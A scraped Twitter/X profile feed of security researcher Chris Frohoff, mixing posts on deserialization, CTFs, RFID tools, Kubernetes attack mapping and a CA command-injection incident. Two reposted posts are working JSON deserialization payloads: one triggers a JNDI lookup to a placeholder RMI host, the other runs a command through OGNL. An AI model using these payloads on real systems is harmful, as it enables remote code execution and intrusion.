Chris Frohoff

building things, breaking things, building things that break things. ysoserial night janitor. journeyman ctf plumber. he/him

[Chris Frohoff @frohoff]

@emptymonkey Right? Who would have thought that loading someone else's mental model on a topic into your brain unchecked might not be safe?

[Chris Frohoff @frohoff]

speech and writing are just serialization for human thoughts #showerthoughts

[Kim Zetter @KimZetter]

Very slick. And a good reminder to keep car keys in a Faraday pouch when not using them

[Christophe Tafani-Dereeper @christophetd]

Datadog's security team has just released KubeHound, an open-source attack mapping tool for Kubernetes clusters

https://t.co/1NaHHIfznN

https://t.co/rwWQFHY4kT

Comes with 25 attack types, each one comes with step by step instructions of how to exploit it

[GiamMa-based researchers SDR R&D IoT @giammaiot2]

UHFKILL via Lab401

https://t.co/ip08Xp7LFZ

The UHF RFID deactivation tool.Wirelessly and permanently disable UHF tags.A must have for OpSec/Operational Teams to deactivate tags embedded in clothing, shoes and products that can be used for tracking, identification and detection.

[ϻг_ϻε @steventseeley]

{"@type":"org.apache.commons.mail.SimpleEmail","mailSessionFromJNDI":"rmi://hehe:1099/obj"}

[ϻг_ϻε @steventseeley]

{"@type":"com.opensymphony.xwork2.validator.validators.RequiredStringValidator","trimExpression":"%{(@java.lang.Runtime@getRuntime().exec('mspaint'))}"}

[Justin Alvey @justLV]

I “jailbroke” a Google Nest Mini so that you can run your own LLM’s, agents and voice models.

Here’s a demo using it to manage all my messages (with help from @onbeeper)

🔊 on, and wait for surprise guest!

I thought hard about how to best tackle this and why, see 🧵

[Matthew Green @matthew_d_green]

I remember when Apple proposed their CSAM scanning system in 2021, there were a lot of people complaining about the “slippery slope fallacy” and how we couldn’t just assume that content scanning would be expanded to other purposes. 23 months later: https://t.co/CpkwaKxJHh

[Adrian Cantrill @adriancantrill]

If you want to truly understand #AWS, you need to learn how it fails. Then you can design things to work around failure. Everything fails, all the time :) Something I cover extensively in my https://t.co/LXHWsPXate courses .. is failure & resilience :)

Please Retweet!

[Architecture Notes @arcnotes]

How Relational Databases Work. This post talks about how indexes and transactions work on the inside of relational databases. https://t.co/ffTuHF7SgL

[🧗‍♂️ Matt Holt @mholt6]

So I just woke up and apparently I inadvertently discovered a zero-day RCE in https://t.co/Byl6l73Yet, and caused a Chinese CA to shut down overnight.

Props to the @neilpangxa of https://t.co/Byl6l73Yet for the quick fix! https://t.co/cvbLrRzW8o

[🧗‍♂️ Matt Holt @mholt6]

‼️A Chinese certificate authority ("HiCA", https://t.co/MAVrTIt9YX) is injecting arbitrary commands into the ACME challenge process, which https://t.co/Byl6l73Yet then executes on the client machine. Here's my current analysis: https://t.co/cvbLrRzW8o

[Summercon @SummerC0n]

It is with profound sadness that we mourn the loss of our friend and mentor, @aloria. Kelly had an indomitable spirit, and our world is a bit darker without her.

[pyn3rd @pyn3rd]

This is my comprehensive blog <Apache SCXML Remote Code Execution> https://t.co/qobZ691KU4

[Luca Carettoni @lucacarettoni]

If you're affected by the recent NCC workforce cut and you still 💕 appsec consulting, we're still hiring @Doyensec https://t.co/3Rkv4Cv4b7 (US based) #onemore #appsec

[Alvaro Muñoz @pwntester]

Had some fun with OGNL sandboxes last year. Read how I bypassed Atlassian Confluence and Struts ones in my latest blog post https://t.co/SyMtMMhhPv

[Joshua Browder @Joshuabrowder]

Today, DoNotPay is launching a chatGPT extension that reads the Terms and Conditions, leases and flags anything that is non-standard to all our customers

[Nuria Lago @enelago]

GitHub - MaximeBeasse/KeyDecoder: KeyDecoder app lets you use your smartphone or tablet to decode your mechanical keys in seconds. https://t.co/upYVjXlt21

[Elon Musk @elonmusk]

Should I step down as head of Twitter? I will abide by the results of this poll.